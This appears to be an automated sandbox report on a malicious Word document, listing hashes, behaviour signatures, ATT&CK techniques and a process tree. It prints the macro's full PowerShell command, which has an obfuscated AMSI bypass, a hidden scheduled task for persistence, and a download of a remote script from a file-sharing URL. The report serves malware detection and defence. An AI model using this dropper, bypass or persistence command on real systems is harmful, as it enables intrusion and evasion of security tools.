f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3

General

Target

f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3.doc
Size

1.1MB
MD5

ca09b19b6975e090fb4eda6ced1847b1
SHA1

a7a2f5f7a70dab85f6ee173b9cde4507ed723ac5
SHA256

f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3
SHA512

c536808f3c015a4473b50817cc3181763348428652903aad26697865ba83de4ac97f4bd7977bc986133e44582913065c68b9c882e6e7ff2d8a59e45c8d0e57cb
SSDEEP

12288:fDmofgI7jf+hXEX62Jp7GqRCXCXCXB3ClforCz2XCKk2XC/kZnR99Wduz:fKCgI72qkZnR99O

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://www.4sync.com/web/directDownload/QHZsERS6/rHb0lMWD.f2e6a9154ab6cd29b337d6b555367580

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	392	2804	powershell.exe	86

Blocklisted process makes network request 1 IoCs

flow	pid	Process
23	392	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4812	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2340	systeminfo.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2804	WINWORD.EXE
2804	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
392	powershell.exe
392	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	392	powershell.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
2804	WINWORD.EXE
2804	WINWORD.EXE
2804	WINWORD.EXE
2804	WINWORD.EXE
2804	WINWORD.EXE
2804	WINWORD.EXE
2804	WINWORD.EXE
2804	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2804 wrote to memory of 392	2804	WINWORD.EXE	90
PID 2804 wrote to memory of 392	2804	WINWORD.EXE	90
PID 392 wrote to memory of 2340	392	powershell.exe	93
PID 392 wrote to memory of 2340	392	powershell.exe	93
PID 392 wrote to memory of 4812	392	powershell.exe	98
PID 392 wrote to memory of 4812	392	powershell.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell systeminfo; [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true); schtasks /create /tn WindUpdater /st 00:00 /du 9999:59 /sc once /ri 10 /f /tr 'powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -File "C:\Users\Public\WindowsKeys.ps1"'; (New-Object system.Net.WebClient).DownloadFile('https://www.4sync.com/web/directDownload/QHZsERS6/rHb0lMWD.f2e6a9154ab6cd29b337d6b555367580','C:\Users\Public\WindowsKeys.ps1')
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:392
- - C:\Windows\system32\systeminfo.exe
    "C:\Windows\system32\systeminfo.exe"
    3⤵
    - Gathers system information
    PID:2340
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /tn WindUpdater /st 00:00 /du 9999:59 /sc once /ri 10 /f /tr "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -File C:\Users\Public\WindowsKeys.ps1"
    3⤵
    - Creates scheduled task(s)
    PID:4812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_541sqtvl.xoz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/392-562-0x000001938B5D0000-0x000001938B5F2000-memory.dmp

Filesize
136KB

Download
memory/392-579-0x00007FFB0B350000-0x00007FFB0BE11000-memory.dmp

Filesize
10.8MB

Download
memory/392-567-0x00007FFB0B350000-0x00007FFB0BE11000-memory.dmp

Filesize
10.8MB

Download
memory/392-569-0x00000193A3D10000-0x00000193A3D20000-memory.dmp

Filesize
64KB

Download
memory/392-568-0x00000193A3D10000-0x00000193A3D20000-memory.dmp

Filesize
64KB

Download
memory/2804-12-0x00007FFAF3DF0000-0x00007FFAF3E00000-memory.dmp

Filesize
64KB

Download
memory/2804-1-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp

Filesize
64KB

Download
memory/2804-14-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

Filesize
2.0MB

Download
memory/2804-3-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp

Filesize
64KB

Download
memory/2804-6-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

Filesize
2.0MB

Download
memory/2804-4-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp

Filesize
64KB

Download
memory/2804-15-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

Filesize
2.0MB

Download
memory/2804-16-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

Filesize
2.0MB

Download
memory/2804-17-0x00007FFAF3DF0000-0x00007FFAF3E00000-memory.dmp

Filesize
64KB

Download
memory/2804-18-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

Filesize
2.0MB

Download
memory/2804-19-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

Filesize
2.0MB

Download
memory/2804-20-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

Filesize
2.0MB

Download
memory/2804-21-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

Filesize
2.0MB

Download
memory/2804-2-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp

Filesize
64KB

Download
memory/2804-22-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

Filesize
2.0MB

Download
memory/2804-13-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

Filesize
2.0MB

Download
memory/2804-0-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp

Filesize
64KB

Download
memory/2804-11-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

Filesize
2.0MB

Download
memory/2804-7-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

Filesize
2.0MB

Download
memory/2804-9-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

Filesize
2.0MB

Download
memory/2804-10-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

Filesize
2.0MB

Download
memory/2804-8-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

Filesize
2.0MB

Download
memory/2804-5-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

Filesize
2.0MB

Download
memory/2804-585-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

Filesize
2.0MB

Download
memory/2804-586-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

Filesize
2.0MB

Download
memory/2804-605-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp

Filesize
64KB

Download
memory/2804-606-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp

Filesize
64KB

Download
memory/2804-607-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp

Filesize
64KB

Download
memory/2804-608-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp

Filesize
64KB

Download
memory/2804-609-0x00007FFB36430000-0x00007FFB36625000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads